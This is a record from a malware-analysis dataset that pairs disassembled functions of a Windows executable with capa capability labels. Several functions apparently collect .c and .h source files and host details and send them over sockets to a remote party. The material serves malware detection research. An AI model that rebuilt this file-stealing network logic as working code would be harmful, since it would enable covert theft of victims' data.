joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d820
Capabilities:
Get hostname
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x85c
push ebx
push esi
push edi
lea edi, [ebp - 0x85c]
mov ecx, 0x217
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x404], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov word [ebp - 0x414], 0
xor eax, eax
mov dword [ebp - 0x412], eax
mov dword [ebp - 0x40e], eax
mov dword [ebp - 0x40a], eax
mov word [ebp - 0x406], ax
push 0
push 0x400
lea ecx, [ebp - 0x818]
push ecx
mov edx, dword [0x703b28]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
mov byte [ebp + eax - 0x818], 0
push str.auth_ncut_r_n
lea ecx, [ebp - 0x818]
push ecx
call fcn.004483e0
add esp, 8
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.004487d0
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x703b28]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x703b28]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
mov byte [ebp + ecx - 0x818], 0
push 0x400
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00447a00
add esp, 0xc
push 0x80
push 0
push 0x703f48
call fcn.00447a00
add esp, 0xc
push 0x80
push 0x703f48
call sub.WSOCK32.dll_gethostname
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x41d96e
push str.lost
push 0x4d5728
push 0x703f48
call fcn.004482b0
add esp, 0xc
push 0x60
push 0
push 0x703f68
call fcn.00447a00
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp esi, esp
call fcn.004479c0
push 0x703fe8
mov ecx, dword [ebp - 0x40a]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x40c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x40e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x412]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x414]
and edx, 0xffff
push edx
mov eax, dword [0x4e0d54]
push eax
mov ecx, dword [0x4e0d50]
push ecx
push 0x703fc8
push 0x703f48
push str.win32info__s_s_d__d_d_02d_02d_02d_02d_s_r_n
lea edx, [ebp - 0x404]
push edx
call fcn.004482b0
add esp, 0x30
lea eax, [ebp - 0x404]
push eax
push 0x4d5728
lea ecx, [ebp - 0x818]
push ecx
call fcn.004482b0
add esp, 0xc
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.004487d0
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x703b28]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x703b28]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
pop edi
pop esi
pop ebx
add esp, 0x85c
cmp ebp, esp
call fcn.004479c0
mov esp, ebp
pop ebp
ret
Function at 0x41da80
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
lea edi, [ebp - 0x450]
mov ecx, 0x114
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push 0x4d5674
mov eax, dword [ebp + 0xc]
push eax
call fcn.00448290
add esp, 8
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0
jne 0x41dac5
xor eax, eax
jmp 0x41dbfe
push 0x400
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.00447a00
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
push str.modissend__s_r_n
lea eax, [ebp - 0x400]
push eax
call fcn.004482b0
add esp, 0xc
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.004487d0
add esp, 4
push eax
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_send
push 0
push 0x400
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov eax, 1
test eax, eax
je 0x41db9c
mov ecx, dword [ebp - 0x404]
push ecx
push 0x400
push 1
lea edx, [ebp - 0x400]
push edx
call fcn.00447c10
add esp, 0x10
mov dword [ebp - 0x408], eax
push 0
mov eax, dword [ebp - 0x408]
push eax
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_send
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x408], 0x400
jge 0x41db9a
mov eax, dword [ebp - 0x404]
push eax
call fcn.00448850
add esp, 4
jmp 0x41db9c
jmp 0x41db32
push 0x4d5c48
push str.SEND_OK
push str._s__s
lea ecx, [ebp - 0x400]
push ecx
call fcn.004482b0
add esp, 0x10
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.004487d0
add esp, 4
push eax
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x450
cmp ebp, esp
call fcn.004479c0
mov esp, ebp
pop ebp
ret
Function at 0x41dc20
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x984
push ebx
push esi
push edi
lea edi, [ebp - 0x984]
mov ecx, 0x261
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [0x703f40], 0
push 0x20000
push 0
push 0x6e3b28
call fcn.00447a00
add esp, 0xc
push str._src.h
push 0x703fe8
push str._s_s
lea eax, [ebp - 0x544]
push eax
call fcn.004482b0
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x544]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.004479c0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x41dd27
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [0x703f40]
shl ecx, 0xa
add ecx, 0x6e3b28
push ecx
call fcn.004483e0
add esp, 8
mov edx, dword [0x703f40]
add edx, 1
mov dword [0x703f40], edx
mov esi, esp
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.004479c0
test eax, eax
jne 0x41dcd8
push str._src.c
push 0x703fe8
push str._s_s
lea edx, [ebp - 0x944]
push edx
call fcn.004482b0
add esp, 0x10
mov esi, esp
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x944]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.004479c0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x41ddbe
lea edx, [ebp - 0x114]
push edx
mov eax, dword [0x703f40]
shl eax, 0xa
add eax, 0x6e3b28
push eax
call fcn.004483e0
add esp, 8
mov ecx, dword [0x703f40]
add ecx, 1
mov dword [0x703f40], ecx
mov esi, esp
lea edx, [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.004479c0
test eax, eax
jne 0x41dd71
mov eax, dword [0x703f40]
pop edi
pop esi
pop ebx
add esp, 0x984
cmp ebp, esp
call fcn.004479c0
mov esp, ebp
pop ebp
ret
Function at 0x41dde0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
lea edi, [ebp - 0x844]
mov ecx, 0x211
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x800], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x7ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x804], 0
jmp 0x41de4b
mov eax, dword [ebp - 0x804]
add eax, 1
mov dword [ebp - 0x804], eax
mov ecx, dword [ebp - 0x804]
cmp ecx, dword [0x703f40]
jge 0x41dec7
push 0x400
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.00447a00
add esp, 0xc
mov eax, dword [ebp - 0x804]
shl eax, 0xa
add eax, 0x6e3b28
push eax
push str._src_
push 0x703fe8
push str._s_s_s
lea ecx, [ebp - 0x400]
push ecx
call fcn.004482b0
add esp, 0x14
mov edx, dword [ebp - 0x804]
shl edx, 0xa
add edx, 0x6e3b28
push edx
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [0x703b28]
push ecx
call fcn.0041da80
add esp, 0xc
jmp 0x41de3c
push 0x703f48
push str.win32name__s_r_n
lea edx, [ebp - 0x800]
push edx
call fcn.004482b0
add esp, 0xc
push 0
lea eax, [ebp - 0x800]
push eax
call fcn.004487d0
add esp, 4
push eax
lea ecx, [ebp - 0x800]
push ecx
mov edx, dword [0x703b28]
push edx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea eax, [ebp - 0x800]
push eax
mov ecx, dword [0x703b28]
push ecx
call sub.WSOCK32.dll_recv
pop edi
pop esi
pop ebx
add esp, 0x844
cmp ebp, esp
call fcn.004479c0
mov esp, ebp
pop ebp
ret
Function at 0x41e060
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3d90
call fcn.004483b0
push ebx
push esi
push edi
lea edi, [ebp - 0x3d90]
mov ecx, 0xf64
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x3544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3d44], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3d43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1000
push 0
lea eax, [ebp - 0x1144]
push eax
call fcn.00447a00
add esp, 0xc
mov esi, esp
lea ecx, [ebp - 0x1144]
push ecx
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp esi, esp
call fcn.004479c0
lea edx, [ebp - 0x1144]
push edx
push 0x4d5728
lea eax, [ebp - 0x3544]
push eax
call fcn.004482b0
add esp, 0xc
lea ecx, [ebp - 0x3544]
push ecx
call fcn.004487d0
add esp, 4
cmp eax, 0x400
jbe 0x41e134
jmp 0x41e2d5
push str..dsw
lea edx, [ebp - 0x3544]
push edx
push str._s_s
lea eax, [ebp - 0x3d44]
push eax
call fcn.004482b0
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x3d44]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.004479c0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x41e1ae
push 0x400
push 0
lea eax, [ebp - 0x3944]
push eax
call fcn.00447a00
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x3944]
push edx
call fcn.004483e0
add esp, 8
jmp 0x41e1b3
jmp 0x41e2d5
lea eax, [ebp - 0x3944]
push eax
call fcn.004487d0
add esp, 4
cmp eax, 4
ja 0x41e1cc
jmp 0x41e2d5
push 0x2e
lea ecx, [ebp - 0x3944]
push ecx
call fcn.00448720
add esp, 8
mov dword [ebp - 0x3d48], eax
cmp dword [ebp - 0x3d48], 0
je 0x41e20b
push 0x4d5c8c
mov edx, dword [ebp - 0x3d48]
push edx
call fcn.00448b90
add esp, 8
test eax, eax
je 0x41e209
jmp 0x41e2d5
jmp 0x41e210
jmp 0x41e2d5
lea eax, [ebp - 0x3944]
push eax
call fcn.004487d0
add esp, 4
sub eax, 4
push eax
lea ecx, [ebp - 0x3944]
push ecx
push 0x703fc8
call fcn.004474c0
add esp, 0xc
push 0x5c
lea edx, [ebp - 0x3544]
push edx
call fcn.00448720
add esp, 8
mov dword [ebp - 0x3d4c], eax
cmp dword [ebp - 0x3d4c], 0
je 0x41e290
lea eax, [ebp - 0x3544]
push eax
call fcn.004487d0
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x3d4c]
push ecx
call fcn.004487d0
add esp, 4
sub esi, eax
push esi
lea edx, [ebp - 0x3544]
push edx
push 0x703fe8
call fcn.004474c0
add esp, 0xc
jmp 0x41e292
jmp 0x41e2d5
call fcn.0041dc20
test eax, eax
jle 0x41e2d5
mov esi, esp
push 0
push 0
push 0
push 0x41df40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.004479c0
mov dword [ebp - 0x3d50], eax
mov esi, esp
mov eax, dword [ebp - 0x3d50]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.004479c0
pop edi
pop esi
pop ebx
add esp, 0x3d90
cmp ebp, esp
call fcn.004479c0
mov esp, ebp
pop ebp
ret
Function at 0x43e4b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], pe_nt_image_headers32
mov eax, dword [ebp + 0x10]
or ah, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
shl ecx, 1
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp + 0x10]
shr edx, 7
and edx, 1
push edx
mov eax, dword [ebp + 0x14]
and eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, eax
mov edx, dword [ebp + 0x10]
shr edx, 8
add ecx, edx
mov eax, dword [ebp + 0xc]
lea ecx, [eax + ecx*2]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0043e370
add esp, 0xc
mov eax, dword [ebp + 0x10]
shl eax, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
xor ecx, dword [ebp + 0x10]
not ecx
mov edx, dword [ebp - 4]
and edx, ecx
mov dword [ebp - 4], edx
cmp dword [ebp + 0x10], 0x10000
jb 0x43e4d8
pop edi
pop esi
pop ebx
add esp, 0x44
cmp ebp, esp
call fcn.004479c0
mov esp, ebp
pop ebp
ret

Function at 0x440720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 8
mov edx, dword [ebp + 8]
xor eax, eax
mov ax, word [edx + ecx*2]
mov ecx, dword [ebp + 0xc]
shr ecx, 7
and ecx, 1
neg ecx
and ecx, 0x7ff
xor eax, ecx
sar eax, 4
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
add ecx, dword [edx + eax*4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
shl edx, 1
mov dword [ebp + 0xc], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x440748
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4407a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
lea edi, [ebp - 0x48]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], pe_nt_image_headers32
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
shl ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp + 0x10]
and edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, edx
mov ecx, dword [ebp + 0xc]
shr ecx, 8
add eax, ecx
mov edx, dword [ebp + 8]
xor ecx, ecx
mov cx, word [edx + eax*2]
mov edx, dword [ebp + 0xc]
shr edx, 7
and edx, 1
neg edx
and edx, 0x7ff
xor ecx, edx
sar ecx, 4
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
add edx, dword [eax + ecx*4]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
shl eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
xor ecx, dword [ebp + 0xc]
not ecx
mov edx, dword [ebp - 8]
and edx, ecx
mov dword [ebp - 8], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x4407cf
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x445060
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x13
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x30], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x4c], 0
mov edx, dword [ebp + 8]
mov dword [edx + 0x20], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00445120
add esp, 4
mov dword [ebp - 4], 0
jmp 0x4450b4
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x100
jae 0x445107
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], 0
jmp 0x4450d5
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 8
jge 0x4450f8
mov ecx, dword [ebp - 8]
shr ecx, 1
mov edx, dword [ebp - 8]
and edx, 1
sub edx, 1
not edx
and edx, 0xedb88320
xor ecx, edx
mov dword [ebp - 8], ecx
jmp 0x4450cc
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx + eax*4 + 0x6c], edx
jmp 0x4450ab
pop edi
pop esi
pop ebx
add esp, 0x4c
cmp ebp, esp
call fcn.004479c0
mov esp, ebp
pop ebp
ret

Function at 0x45cd10
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x45cd2f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x45cd36
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x45cd4d
mov ecx, dword [ebp - 4]
push ecx
call fcn.00457f90
add esp, 4
or eax, 0xffffffff
jmp 0x45cd4f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x45cd60
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x45cd8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00457f90
add esp, 4
or eax, 0xffffffff
jmp 0x45cdba
mov ecx, dword [ebp - 4]
and ecx, 1
test ecx, ecx
je 0x45cdb8
mov edx, dword [ebp + 0xc]
and edx, 2
test edx, edx
je 0x45cdb8
mov dword [0x70a750], 0xd
mov dword [0x70a754], 5
or eax, 0xffffffff
jmp 0x45cdba
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40892c
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
add eax, 0x6c94950f
call fcn.00408956
mov eax, 0x461528ee
xor dword [edi], edx
inc edi
cmp edi, ecx
jne fcn.0040892c
sub eax, eax
ret
Function at 0x40a850
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x465dcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045a716
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40a8d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045862d
mov eax, dword [eax]
push 0x4901c0
push eax
call fcn.0044b494
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045a9a1
test bl, bl
je 0x40a8d2
push 0x4901c0
lea ecx, [esp + 0xc]
call fcn.0045ad31
push 0x493d3c
lea ecx, [esp + 0xc]
call fcn.0045ad31
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a90e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045a9a1
jmp 0x40a9d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40a992
lea edx, [esp + 0x7c]
push 0x493d38
push edx
call fcn.0044b494
add esp, 8
test eax, eax
je 0x40a992
lea eax, [esp + 0x7c]
push 0x493d34
push eax
call fcn.0044b494
add esp, 8
test eax, eax
je 0x40a992
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a922
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045a9a1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b1d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b232
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b240
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x465e4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x49a1e0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b378
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b2a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045a9a1
xor eax, eax
jmp 0x40b3ef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045aade
push esi
lea ecx, [esp + 0xc]
call fcn.0045ad6d
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b3cd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040b1d0
test eax, eax
jne 0x40b3cd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040b1d0
test eax, eax
jne 0x40b3cd
lea eax, [esp + 0x14]
push 0x493d50
push eax
call fcn.0044c4d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b3ac
lea ecx, [esp + 0x14]
push 0x493d4c
push ecx
call fcn.0044c450
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b3ac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b3af
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045aa8e
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b2be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045a9a1
xor eax, eax
jmp 0x40b3ef
mov byte [esi], 0
push 0x493d48
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045a9a1
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4